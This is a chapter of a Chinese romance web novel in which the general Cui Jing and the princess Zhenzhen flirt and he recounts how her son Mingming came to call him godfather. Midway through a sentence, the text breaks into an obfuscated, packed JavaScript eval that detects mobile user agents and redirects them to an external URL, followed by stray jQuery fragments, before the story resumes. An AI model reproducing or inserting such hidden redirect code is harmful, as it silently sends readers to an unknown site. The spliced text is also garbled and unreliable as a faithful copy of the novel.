74. 074

作品:《公主新寡

    至于小妖精不小妖精的,现如今的崔敬可不敢将蓁蓁如何,不过是嘴皮子上说两句罢了。哪怕他绞尽脑汁,努力镇定,摒弃心中一切杂念,可有又如何比得过秦叶蓁的活泼机灵。


    眼前的姑娘,是他日思夜想,数度落泪之人,她不仅眼中有他,还像一只花蝴蝶,在他心房翩然起舞。


    一向临危不乱又如何,没遇见必杀之局而已。


    说一句小妖精,已经是他最后一丝屏障。


    话落,他轻轻推开蓁蓁,让她坐好。奈何小娘子早已抛却一切,真心实意要和他共度余生。如斯坚定的信念,在他并不强硬的推却之下,巍然不动。


    她双手放开,崔敬歇口气,然则这口气还没彻底卸下去,蓁蓁将柔荑落在他耳廓,软绵绵问道:


    “有点儿红诶?将军是着了风寒么?怎生瞧着像是不好?”


    崔敬一个机灵,继而咬牙切齿,“你莫要乱动!”


    一管黄鹂般清脆的嗓音说道:“哦,我可是公主诶,你因何能命令我。”


    清甜馨香,瞬间直奔天灵盖,崔敬镇守不住,退后一步,“蓁蓁,胡来。”


    “胡来?这便是胡来了?没见识。”


    小娘子调笑中带上几丝嫌弃,双眉下拉,视线从男子这半面颊滑到另一半。好似春风过境,吹皱一池春水,崔敬那细腻白嫩的面皮上,骤然浮现几丝红云。他无所适从,局促,顿觉有些东西,在身体深处生根发芽,一瞬间长成参天大树。


    他再度睁眼,满是星光的眸子,尽数落在她红唇之上。水润诱人,引人采撷。


    头昏眼花,双眼不辨其他,唯有跟前跳动的唇瓣,喋喋不休。


    好似跟随内心深处的渴望,也好似被眼前之人蛊惑,他低下头,靠近,再靠近。及至不远处,猛然上前,采一口香蜜。香甜浓郁,经久绵长。


    小娘子不料这厮突然如此,一时之间定在当场,被人啄了一口。温暖的触感尚未消失,她迷迷瞪瞪回视。双眼全是惊讶,仿若在说,你为何进步这般快?


    崔敬适时反客为主,“还笑话我不?蓁蓁怕是忘了,那时候在含光殿念书,魏大学士夸我什么。”


    他志不在此,对于课业,不过是捡一些自己喜欢的,大学士看中的研读一二。旁的时辰,专司偏门歪道。饶是如此,魏大学士也三番五次叹息,这人生了个好脑子,着实可惜。


    他的言语入耳,蓁蓁瞬间醒过神来,眼中的迷蒙不见,转而精光大放,发誓要找回来。


    见状,崔敬直呼顶不住,忙不迭用力将她推开,“现在可不是较劲儿的时候,还有话没说呢。你不要听了。”


    二人之间的距离拉开,旖旎气氛消散,蓁蓁披散的墨发被他撩开一缕,别在而后。如此一来,清晨日光,斜斜照射进来,金灿灿,亮晶晶。一片片一丝丝,似金线,似拂尘。


    一切消弭。


    蓁蓁一双肩膀,尚且被他推着,她视线清明,落在男子身上,从上到下,仔仔细细打量。


    无声道:原来,你是如此没意思一个人。


    崔敬:……


    他一定要在不久的将来,找回自己的面子,决然不是现在。


    而后,崔敬将脑海中的欲/念拨开,翻动记忆,说起了明明刚来元帅府的场景。


    彼时,明明刚经历生死大劫,在浑身是伤的北疆护送之下,一路跌跌撞撞,好容易方才到得崔敬跟前。


    他还记得,是个烈日午后。明明满头大汗,衣衫褴褛,破裂的袖口,可见斑斑血迹,可见黑色污泥。从小娇生惯养的小孩儿,成了现如今这般模样,若是蓁蓁得见,定然哭红眼睛。崔敬见他,头一个想法便是如此。


    是以,在明明跨门槛不利索,险些跌倒之际,崔敬上前,将孩子抱在怀中。


    “没事,在我这儿,没人欺负你。”


    明明闻声,非但没有散去惊恐,反而放声大哭,拽着崔敬衣袖不撒手。撒泼打滚儿,涕泗横流,一直嚷嚷着,让崔敬去救他阿娘。


    崔敬毫无办法,身旁的叛徒还未找到,一点妄动的念头也不敢有。只能梗着脖子,宽慰明明,告诉他一切都会好起来……他阿娘会平平安安到他身边。


    虽然明明是个小孩儿,但也算是生在皇城,长在皇城,见多识广,大人之间的弯弯绕绕,懂得一些。


    见崔敬不敢应承,讥讽道:“你就是这样对我阿娘好的?你就是这样喜欢她的?小爷告诉你,待我阿娘回来,我把今日的事儿,一五一十全都告诉她。阿娘不会和你成亲的,哼,阿娘也不会再见你的。”


    崔敬试图和他好生说话,他哪听得进去,一直瞎嚷嚷,一直咆哮。


    听得耳朵疼,崔敬看向一旁的北疆,问道:“你没告诉他背后之人是谁?”


    只有不知道,明明才能如此质问,如此看不起崔敬。


    北疆沉默不言。


    这话,该如何说起,告诉明明,往昔最喜欢他,对他最好,给他撑腰的舅舅,想要他的命,想要囚禁他阿娘。这样恐怖的言语,连北疆,一个行走在暗夜中的暗卫,也说不出口。


    他才六岁,还未长成。


    遭此大难,苍天无眼。


    沉吟半晌,崔敬终于说道:“你若安静下来,好好听我说话,我就告诉你,如何救你阿娘。”


    明明呜呜咽咽,一面拭泪,一面哽咽,安静待在崔敬身旁。


    “你阿娘,暂时安全,”崔敬说道这里,明明险些再度暴跳如雷,好在是崔敬一手拉着,才将孩子摁下去,“我说的不是瞎话。你应当知晓,我能让人从京都将你送来西北,我有人手,有消息。你阿娘暂时安全这话……”


    到此,崔敬咬破嘴角,他不觉得疼,只觉得自己无能得紧。


    “我会将你阿娘安全送到你身旁,我还会替你阿爹报仇。”


    明明打嗝儿,“你说?”


    小儿小儿,不知道的,委实太多。


    崔敬也不解释,爱怜地摸摸明明的小脑袋,“放心,我说的都能做到。”


    明明眼泪直流,“你若是能做到,我拜你为干爹。”


    是以,昨日蓁蓁完好无损出现在明明眼前,这声干爹,自然顺顺利利说出口。不仅如此,明明更张着急迫的大眼睛问道:“替阿爹报仇,何时?”


    崔敬一听,气得要死,没良心的小孩儿,都瘸了腿了,还问这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958218|151872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事儿,也不知关心关心他。


    明明小人精,崔敬故意歪着在他跟前走几步,他如何不明白,当即狗腿子上前,搬来一把躺椅,


    “干爹,坐,儿子给你铺个暖和一点儿的毯子,别凉了我干爹。”


    狗腿子!七月的天儿,他一个将军,得虚成什么样,才需要毛茸茸的毯子!


    崔敬脸黑,明明铺毛毡的动作顿住,眼珠子提溜转动,坏了菜了,坏了菜了!


    找补道:“干爹,儿子不是这个意思。儿子是想着,这毛毡子铺在地上,干爹坐的时候省的隔着腿了。干爹,来,来,儿子孝敬干爹。”说话之间,拉着崔敬坐在廊庑之下。


    小儿孝敬完这一通,自觉没能到位,又心有难耐说起那会子崔敬被困万阳的事儿来。


    “干爹怕是不知,干爹受伤那会子,儿子在元帅府,吃不好睡不好,成日往城隍庙跑,给干爹上香,盼望干爹全全乎乎地回来。干爹,您来看看,儿子这小胳膊小腿儿,跑细了呢。”


    崔敬朝他刻意显摆的胳膊看去,略是点点头,确实瘦了。


    退去婴儿肥了。


    小儿继续孝敬,“干爹,这大太阳,晒得热不热,要不要喝茶,要不要吃点心。哎,对了,我让小子送去的东西,干爹瞧见了没?”


    话说这东西,是明明的小王爷印信,银钱,以及几样稀罕物件。小儿想着,将自己手中所能动用之物,全全交到崔敬手上,发挥最大功力。如此,替宋秉正报仇,是不是能快马加鞭办了?!


    崔敬抬头望天,这孩子,以前嫌弃自己的模样尚可,如今开始巴结自己了,因何像个讨债鬼了呢?


    宋驸马是如何教养孩子的?


    ……


    崔敬同蓁蓁的交代,说到这里,已然过半,不再继续。


    至于遣去京都搭救蓁蓁的人手,是如何全军覆没,他又是如何搭上何签这条线,又是如何劝说四公主相帮,无需言语。这些痛苦之事,蓁蓁不用知晓,往后的日子,她只需开心快乐,做一个勇敢无畏的公主即可。


    秦叶蓁自然知晓,崔三平平顺顺说给自己听的,定然是好话,是可以说出口的话。旁的,他不说她也不问。


    借着明明这小泼猴儿的喜悦劲,蓁蓁笑着问崔敬,“这干爹当得如何?”


    “尚可。”


    “明明是我亲儿子,也是你儿子,你怎这么说他。你没夸他聪明伶俐,懂事乖巧么?”


    崔敬:“已经皮实得很,再夸他,岂不是要上天了。”


    蓁蓁:“我儿子,上天入地,有何不可。凡是我能做到的,他皆可享有。”


    “好好好,往后,我也替他赚下一份家业。看他成长,娶妻生子,美满一生。”


    蓁蓁:“那是自然。”突然,小娘子转而问道:“你说替宋驸马报仇,齐王尚在人世?”


    “你猜。”


    她回视,崔敬一脸怪笑,那满面的皮实劲儿,和现在的明明一般无二。


    “我猜?崔三,你爱说不说,你不说,我一会子找人入内说话便是。”


    本想卖关子,结果成了这模样,崔敬老老实实说话,“齐王没了,可长子尚在。”